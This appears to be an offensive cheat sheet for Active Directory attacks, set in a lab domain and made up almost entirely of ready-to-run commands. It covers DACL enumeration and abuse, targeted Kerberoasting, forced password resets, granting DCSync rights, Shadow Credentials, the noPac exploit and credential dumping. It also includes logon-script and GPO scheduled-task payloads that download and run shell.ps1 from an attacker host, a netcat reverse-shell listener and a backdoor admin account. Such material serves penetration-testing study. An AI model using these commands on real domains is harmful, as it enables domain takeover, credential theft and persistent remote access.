DACL Attacks

AD Object (e.g., User: bob)  
│  
├── DACL  
│ ├── ACE 1: DOMAIN ADMINS → Full Control (GenericAll)  
│ ├── ACE 2: alice → GenericWrite ←  attacker can exploit this  
│ └── ACE 3: Everyone → Read

# Linux — collect all DACL data
bloodhound-python -u attacker -p 'Pass123!' -d lab.local \
  -dc dc01.lab.local -c All --zip
# Import the .zip into BloodHound

# Windows — SharpHound with ACL collection
.\SharpHound.exe -c ACL,Default --zipfilename results.zip
.\SharpHound.exe -c All --zipfilename results.zip

# Find ALL interesting ACLs for any principal in the domain
Find-InterestingDomainAcl -ResolveGUIDs

# Filter for ACEs where the attacker (or a group attacker is in) is the principal
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
    $_.IdentityReferenceName -match "attacker|TargetGroup"
}

# Get ACL for a specific object
Get-DomainObjectAcl -Identity 'bob' -ResolveGUIDs

# Get ACL for a group
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs

# Get ACL for the domain object itself (DCSync rights)
Get-DomainObjectAcl -Identity 'DC=lab,DC=local' -ResolveGUIDs |
    Where-Object { $_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite" }

# Check who owns an object
Get-DomainObject -Identity bob | Select-Object objectsid, ntsecuritydescriptor

# Find ACLs assigned to a specific SID
$sid = (Get-DomainUser attacker).objectsid
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.SecurityIdentifier -eq $sid
}

# Read all ACEs on a specific object
dacledit.py -action read -target 'bob' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Read ACEs on the domain object
dacledit.py -action read \
  -target-dn 'DC=lab,DC=local' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Read ACEs on a computer
dacledit.py -action read -target 'WS01$' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Get all rights on an object
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  get object bob --attr ntSecurityDescriptor

# List members of a group
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  get object "Domain Admins" --attr member

# PowerView — check if you can write SPN on target
Get-DomainObjectAcl -Identity 'targetuser' -ResolveGUIDs |
    Where-Object {
        $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|GenericAll' -and
        $_.ObjectAceType -match 'servicePrincipalName'
    }

# PowerView — add SPN
Set-DomainObject -Identity targetuser \
  -Set @{serviceprincipalname='fake/roast.lab.local'}

# Verify
Get-DomainUser targetuser | Select SamAccountName, ServicePrincipalName

# bloodyAD (Linux)
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set object targetuser servicePrincipalName -v 'fake/roast.lab.local'

# Impacket
GetUserSPNs.py lab.local/attacker:Pass123! -dc-ip <DC_IP> \
  -request-user targetuser -outputfile targeted.hash

# Rubeus (Windows)
Rubeus.exe kerberoast /user:targetuser /outfile:targeted.hash /nowrap

hashcat -m 13100 targeted.hash /usr/share/wordlists/rockyou.txt

# Remove the SPN after cracking (opsec cleanup)
Set-DomainObject -Identity targetuser -Clear serviceprincipalname

# Linux cleanup
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set object targetuser servicePrincipalName -v ''

# PowerView — add attacker to group
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'attacker'

# Add any controlled user
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'eviluser'

# Verify membership
Get-DomainGroupMember -Identity 'Domain Admins' | Select MemberName

# bloodyAD (Linux)
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  add groupMember "Domain Admins" attacker

# net rpc
net rpc group addmem "Domain Admins" attacker \
  -U 'LAB/attacker%Pass123!' -S <DC_IP>

# Impacket
addToGroupMember.py -dc-ip <DC_IP> 'lab.local/attacker:Pass123!' \
  -group "Domain Admins" -member attacker

# Refresh token on Windows (relog or new shell)
# On Linux — get new TGT with updated group membership
getTGT.py lab.local/attacker:Pass123! -dc-ip <DC_IP>
export KRB5CCNAME=attacker.ccache
secretsdump.py -k -no-pass lab.local/attacker@dc01.lab.local

# PowerView — force reset (in-memory secure string)
$NewPassword = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $NewPassword -Verbose

# Verify
Get-DomainUser targetuser | Select SamAccountName

# bloodyAD (Linux) — no old password needed
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set password targetuser 'NewPass123!'

# net rpc
net rpc password targetuser 'NewPass123!' \
  -U 'LAB/attacker%Pass123!' -S <DC_IP>

# Impacket changepasswd
changepasswd.py lab.local/targetuser \
  -newpass 'NewPass123!' \
  -altuser attacker \
  -altpass 'Pass123!' \
  -dc-ip <DC_IP>

# Auth as the new user
crackmapexec smb <DC_IP> -u targetuser -p 'NewPass123!'

# If targetuser is DA
secretsdump.py lab.local/targetuser:NewPass123!@<DC_IP> -just-dc

# PowerView — grant GenericAll to attacker on a user
Add-DomainObjectAcl -TargetIdentity targetuser \
  -PrincipalIdentity attacker -Rights All

# Grant GenericAll on Domain Admins group
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' \
  -PrincipalIdentity attacker -Rights WriteMembers

# Grant DCSync on domain object
Add-DomainObjectAcl -TargetIdentity 'DC=lab,DC=local' \
  -PrincipalIdentity attacker -Rights DCSync

# dacledit.py (Linux) — grant full control
dacledit.py -action write -rights FullControl \
  -principal attacker \
  -target targetuser \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Grant DCSync
dacledit.py -action write -rights DCSync \
  -principal attacker \
  -target-dn 'DC=lab,DC=local' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Step 1: Take ownership of target object
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity attacker

# Step 2: Now you have implicit WriteDACL as owner — grant yourself GenericAll
Add-DomainObjectAcl -TargetIdentity targetuser \
  -PrincipalIdentity attacker -Rights All

# Step 3: Now perform any attack (password reset, Shadow Creds, Kerberoast, etc.)
$NewPassword = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $NewPassword

# bloodyAD — set owner
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set owner targetuser attacker

# pywhisker — list existing key credentials on target
python3 pywhisker.py -d lab.local -u attacker -p 'Pass123!' \
  --target targetuser --action list --dc-ip <DC_IP>

# certipy — check attribute
certipy find -u attacker@lab.local -p 'Pass123!' -dc-ip <DC_IP> \
  -vulnerable -stdout

# certipy (all-in-one — recommended)
# Auto: adds key credential, authenticates via PKINIT, outputs NT hash, cleans up
certipy shadow auto -u attacker@lab.local -p 'Pass123!' \
  -account targetuser -dc-ip <DC_IP>
# Output: NT hash for targetuser

# Manual steps with certipy:
# Step 1: Add the key credential
certipy shadow add -u attacker@lab.local -p 'Pass123!' \
  -account targetuser -dc-ip <DC_IP>
# Saves: targetuser.pfx

# Step 2: Authenticate with the certificate via PKINIT
certipy auth -pfx targetuser.pfx -dc-ip <DC_IP>
# Output: TGT (.ccache) + NT hash

# Step 3: Use the NT hash or TGT
export KRB5CCNAME=targetuser.ccache
crackmapexec smb <TARGET> -u targetuser -H <NT_HASH>

# pywhisker (alternative)
python3 pywhisker.py -d lab.local -u attacker -p 'Pass123!' \
  --target targetuser --action add --dc-ip <DC_IP>
# Saves certificate + private key locally

# Authenticate with PKINITtools
python3 gettgtpkinit.py -cert-pfx targetuser.pfx lab.local/targetuser targetuser.ccache
export KRB5CCNAME=targetuser.ccache

# Get NT hash from TGT
python3 getnthash.py -key <AS-REP-key> lab.local/targetuser

# Windows — Whisker.exe
# List
Whisker.exe list /target:targetuser

# Add key credential
Whisker.exe add /target:targetuser /domain:lab.local \
  /dc:dc01.lab.local /path:cert.pfx /password:P@ssword1

# Then use Rubeus with the certificate
Rubeus.exe asktgt /user:targetuser /certificate:cert.pfx /password:P@ssword1 /ptt

# Remove key after use (cleanup)
Whisker.exe remove /target:targetuser /domain:lab.local \
  /dc:dc01.lab.local /remove:<DeviceID_GUID>

# Add shadow key on DC machine account
certipy shadow auto -u attacker@lab.local -p 'Pass123!' \
  -account 'DC01$' -dc-ip <DC_IP>
# Get DC machine account hash

# Use S4U2Self to impersonate any user to the DC
getST.py -spn 'cifs/dc01.lab.local' \
  -impersonate Administrator \
  -dc-ip <DC_IP> \
  -hashes :<DC_MACHINE_NTLM_HASH> 'lab.local/DC01$'

export KRB5CCNAME=Administrator@cifs_dc01.ccache
secretsdump.py -k -no-pass dc01.lab.local

# On attacker machine — create malicious script
cat > evil.bat << 'EOF'
@echo off
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/shell.ps1')"
EOF

# Share it via Impacket SMB server
smbserver.py share /tmp/scripts -smb2support

# Or via Python HTTP server for download-and-run approach
python3 -m http.server 8080

# PowerView — point victim's logon script to attacker share
Set-DomainObject -Identity targetuser \
  -Set @{scriptPath='\\<ATTACKER_IP>\share\evil.bat'}

# Verify it was set
Get-DomainUser targetuser | Select SamAccountName, scriptPath

# bloodyAD (Linux)
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set object targetuser scriptPath -v '\\<ATTACKER_IP>\share\evil.bat'

# AD Module (Windows)
Set-ADUser -Identity targetuser -ScriptPath '\\<ATTACKER_IP>\share\evil.bat'

# Catch the reverse shell
nc -lvnp 4444

# Verify Responder to capture auth from logon script execution
sudo responder -I eth0 -dwv

# On Windows, you can force a GPUpdate to trigger scripts
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' \
  -x "gpupdate /force"

# SYSVOL scripts run for ALL domain users
# Path: \\lab.local\SYSVOL\lab.local\scripts\

# Write malicious script to SYSVOL
smbclient.py -k -no-pass //dc01.lab.local/SYSVOL
# put evil.bat lab.local/scripts/evil.bat

# Point users to it via GPO or scriptPath

# Find what SPNs Server A is allowed to delegate to
findDelegation.py -user 'serverA$' lab.local/attacker:Pass123!

# PowerView
Get-DomainComputer serverA | Select msds-allowedtodelegateto

Get-DomainObjectAcl -Identity 'serverB$' -ResolveGUIDs |
  Where-Object {
    $_.ActiveDirectoryRights -match 'WriteProperty' -and
    $_.ObjectAceType -match 'servicePrincipalName' -and
    $_.SecurityIdentifier -match (Get-DomainUser attacker).objectsid
  }

# Remove cifs/serverB SPN from Server B
addspn.py --clear -t 'ServerB$' \
  -u lab.local/attacker -p 'Pass123!' \
  dc01.lab.local

# Add cifs/serverB SPN to Server C
addspn.py -t 'ServerC$' \
  --spn "cifs/serverB" \
  -u lab.local/attacker -p 'Pass123!' \
  -c dc01.lab.local

# Use Server A's credentials with S4U to get a ticket for cifs/serverB
getST.py -spn 'cifs/serverB' \
  -impersonate Administrator \
  lab.local/'serverA$':SrvAPass123!
# Output: Administrator@cifs_serverB.ccache

# tgssub — rewrite the SPN in the ticket
tgssub.py -in serverB.ccache \
  -out serverC.ccache \
  -altservice 'cifs/serverC'

export KRB5CCNAME=serverC.ccache
secretsdump.py -k -no-pass serverC.lab.local
smbclient.py -k -no-pass //serverC.lab.local/C$

# Check DC patch level / OS version
crackmapexec smb <DC_IP> -u attacker -p 'Pass123!'
# If DC is pre-Nov 2021 patch, likely vulnerable

# Check MachineAccountQuota
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' -M maq
# Default = 10; any value > 0 = exploitable

# noPac.py — full automated exploit (creates machine, spoofs, gets DC hash)
# GitHub: Ridter/noPac

# Scan — check if vulnerable
python3 scanner.py lab.local/attacker:Pass123! -dc-ip <DC_IP> -use-ldap

# Exploit — get shell
python3 noPac.py lab.local/attacker:Pass123! -dc-ip <DC_IP> \
  -dc-host dc01 --impersonate administrator -shell

# Exploit — dump all hashes
python3 noPac.py lab.local/attacker:Pass123! -dc-ip <DC_IP> \
  -dc-host dc01 --impersonate administrator \
  -dump -just-dc-user lab.local/administrator

# Alternative — sam-the-admin (another noPac implementation)
python3 sam_the_admin.py lab.local/attacker:Pass123! \
  -dc-ip <DC_IP> -shell

# Step 1: Create a machine account
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Evil123!' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Step 2: Rename sAMAccountName to match DC (no trailing $)
renameMachine.py -current-name 'EVIL$' -new-name 'DC01' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Step 3: Get TGT using the spoofed name
getTGT.py lab.local/'DC01':Evil123! -dc-ip <DC_IP>
export KRB5CCNAME=DC01.ccache

# Step 4: Rename back BEFORE using the ticket
renameMachine.py -current-name 'DC01' -new-name 'EVIL$' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Step 5: Use the TGT to get a service ticket (S4U2Self for Administrator)
getST.py -spn 'cifs/dc01.lab.local' -impersonate Administrator \
  -dc-ip <DC_IP> -k -no-pass lab.local/DC01
export KRB5CCNAME=Administrator@cifs_dc01.ccache

# Step 6: DCSync
secretsdump.py -k -no-pass lab.local/Administrator@dc01.lab.local

Domain  
├── OU: Domain Controllers ← GPO "DC Policy" linked here  
│ └── DC01, DC02  
├── OU: Servers ← GPO "Server Policy" linked here  
│ └── WS01, WS02  
└── OU: Users ← GPO "User Policy" linked here  
└── bob, alice

# PowerView — find GPOs you can write to
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|GenericAll' -and
    $_.SecurityIdentifier -eq (Get-DomainUser attacker).objectsid
}

# Get which OUs are linked to that GPO
Get-DomainGPOLinkedObject -GPOIdentity "<GPO_NAME_OR_GUID>"

# Get GPO GUID from display name
Get-DomainGPO -Identity "Default Domain Policy" | Select DisplayName, Name

# BloodHound — look for WriteGPLink, GenericWrite on GPO edges
# Query: "Find GPO write permissions"

# bloodhound-python includes GPO data in -c All collection

# SharpGPOAbuse (Windows)
.\SharpGPOAbuse.exe --AddLocalAdmin \
  --UserAccount attacker \
  --GPOName "Vulnerable GPO"

# pyGPOAbuse (Linux)
python3 pygpoabuse.py -u attacker -p 'Pass123!' \
  -d lab.local -dc-ip <DC_IP> \
  -gpo-id '<GPO_GUID>' \
  -type localadmin -user attacker

# SharpGPOAbuse — add immediate scheduled task on computers
.\SharpGPOAbuse.exe --AddComputerTask \
  --TaskName "WindowsUpdate" \
  --Author "NT AUTHORITY\SYSTEM" \
  --Command "cmd.exe" \
  --Arguments "/c net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add" \
  --GPOName "Vulnerable GPO"

# User-context task (runs when target user logs in)
.\SharpGPOAbuse.exe --AddUserTask \
  --TaskName "ChromeUpdate" \
  --Author "lab\da_user" \
  --Command "cmd.exe" \
  --Arguments "/c powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/shell.ps1')" \
  --GPOName "Vulnerable GPO"

# pyGPOAbuse — scheduled task
python3 pygpoabuse.py -u attacker -p 'Pass123!' \
  -d lab.local -dc-ip <DC_IP> \
  -gpo-id '<GPO_GUID>' \
  -type task \
  -command "cmd.exe" \
  -arguments "/c powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/shell.ps1')"

# SharpGPOAbuse — add startup script to GPO
.\SharpGPOAbuse.exe --AddUserScript \
  --ScriptName "startup.bat" \
  --ScriptContents "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/shell.ps1')" \
  --GPOName "Vulnerable GPO"

# Grant SeDebugPrivilege and Remote Logon right
.\SharpGPOAbuse.exe --AddUserRights \
  --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" \
  --UserAccount attacker \
  --GPOName "Vulnerable GPO"

# CrackMapExec — force gpupdate on all targets
crackmapexec smb <TARGET_SUBNET>/24 -u attacker -p 'Pass123!' \
  -x "gpupdate /force"

# Single target
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' \
  -M gpupdate